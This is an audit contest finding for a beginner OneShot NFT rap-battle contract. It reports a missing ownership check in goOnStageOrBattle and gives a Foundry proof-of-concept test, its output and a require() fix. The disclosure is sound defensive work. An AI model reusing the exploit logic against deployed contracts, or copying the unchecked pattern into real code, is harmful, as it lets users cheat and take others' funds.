First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Missing NFT Ownership Check in `RapBattle::goOnStageOrBattle` Results in Challengers Being Able to Battle Without an NFT

paprikrumplikas

Summary

When a user enters a battle as a challenger (2nd player on stage), RapBattle::goOnStageOrBattle does not check whether the challenger actually has the NFT corresponding to the submitted ID. Conseqently, challengers can battle without having a rapper NFT, or can enter a battle with an NFT that they are staking in the Streets contract.

Vulnerability Details

To participate in a battle, users need to call RapBattle::goOnStageOrBattle and as arguments to this function, they need to provide

  • (1) the ID of one of their rapper NFTs and

  • (2) the amount of CRED tokens they intend to wager.

However,goOnStageOrBattle does not check whether the challenger actually holds the NFT. Conseqently, challengers can battle without having a rapper NFT, or with an NFT that they are actively staking.

Impact

The challenger can cheat the system and is in an unfair advantage. For example, they can actively stake their NFT and enter the the battle with its ID.

Consider the following scenario:

  1. Defender calls RapBattle::goOnStageOrBattle, and submits (1) the ID of one of its (not staked) rapper NFTs and (2) some amount of its CRED balance as a bet.

  2. Defender's NFT and amount of CRED tokens submitted to the battle are transferred to RapBattle.

  3. Challenger calls RapBattle::goOnStageOrBattle, but submits the ID of an NFT that he actively stakes (does not techically hold it), and submits the same bet amount as the defender.

  4. The battle concludes without an issue. Assuming that the defender wins, the challenger's bet is transferred to the defender. All this time, however, the challenger was able to keep staking his NFT and accrue staking rewards.

Proof of Code

Insert the following piece of code in OneShotTest.t.sol:

function test_challengerCanBattleWithoutNft() public {
address defender = makeAddr("defender");
address challenger2 = makeAddr("challenger2");
​
// defender mints, stakes for 4 days, unstakes, then goes on stage
vm.startPrank(defender);
oneShot.mintRapper();
oneShot.approve(address(streets), 0);
streets.stake(0);
vm.warp(4 days + 1);
streets.unstake(0);
uint256 defenderInitialBalance = cred.balanceOf(defender);
assert(defenderInitialBalance == 4);
uint256 credBet = defenderInitialBalance / 2; // bet only half his balance
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), credBet);
rapBattle.goOnStageOrBattle(0, credBet);
vm.stopPrank();
​
// challenger mints with ID = 1, stakes it for 4 days, unstakes it for rewards
// then stakes it again, and battles with it while techically not having it
vm.startPrank(challenger2);
oneShot.mintRapper();
oneShot.approve(address(streets), 1);
streets.stake(1);
vm.warp(8 days + 6); // with this, defender wins if run on anvil local chain
streets.unstake(1);
oneShot.approve(address(streets), 1);
streets.stake(1);
assert(cred.balanceOf(challenger2) == 4); // has 4 cred
assert(oneShot.ownerOf(1) != challenger2); // technically, it is locked in the streets contract
cred.approve(address(rapBattle), credBet);
vm.recordLogs();
rapBattle.goOnStageOrBattle(0, credBet);
vm.stopPrank();
​
Vm.Log[] memory entries = vm.getRecordedLogs();
address winner = address(uint160(uint256(entries[0].topics[2])));
assertEq(winner, defender);
console.log("Winner round 2: ", winner);
assert(cred.balanceOf(defender) == defenderInitialBalance + credBet); // defender lost 2 cred
assert(cred.balanceOf(challenger2) == defenderInitialBalance - credBet); // challenger2 won 2 cred but di
}

and test it by executing forge test --mt test_challengerCanBattleWithoutHavingAnNft.

Output:

[PASS] test_challengerCanBattleWithoutNft() (gas: 715298)
Logs:
Winner round 2: 0x4fAD2c378d74800f0Be9eAbE53e1236dE790806F

Tools Used

Manual review, Foundry.

Recommendations

Before starting the battle, check whether the challenger actually has the NFT belonging to the ID he submitted to the battle:

function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
​
emit OnStage(msg.sender, _tokenId, _credBet);
​
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
// credToken.transferFrom(msg.sender, address(this), _credBet);
+ require(oneShotNft.ownerOf(_tokenId) == msg.sender, "Not the owner of the NFT, or NFT is staked!");
_battle(_tokenId, _credBet);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Challenger can use any nft to battle - not necessarily theirs

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.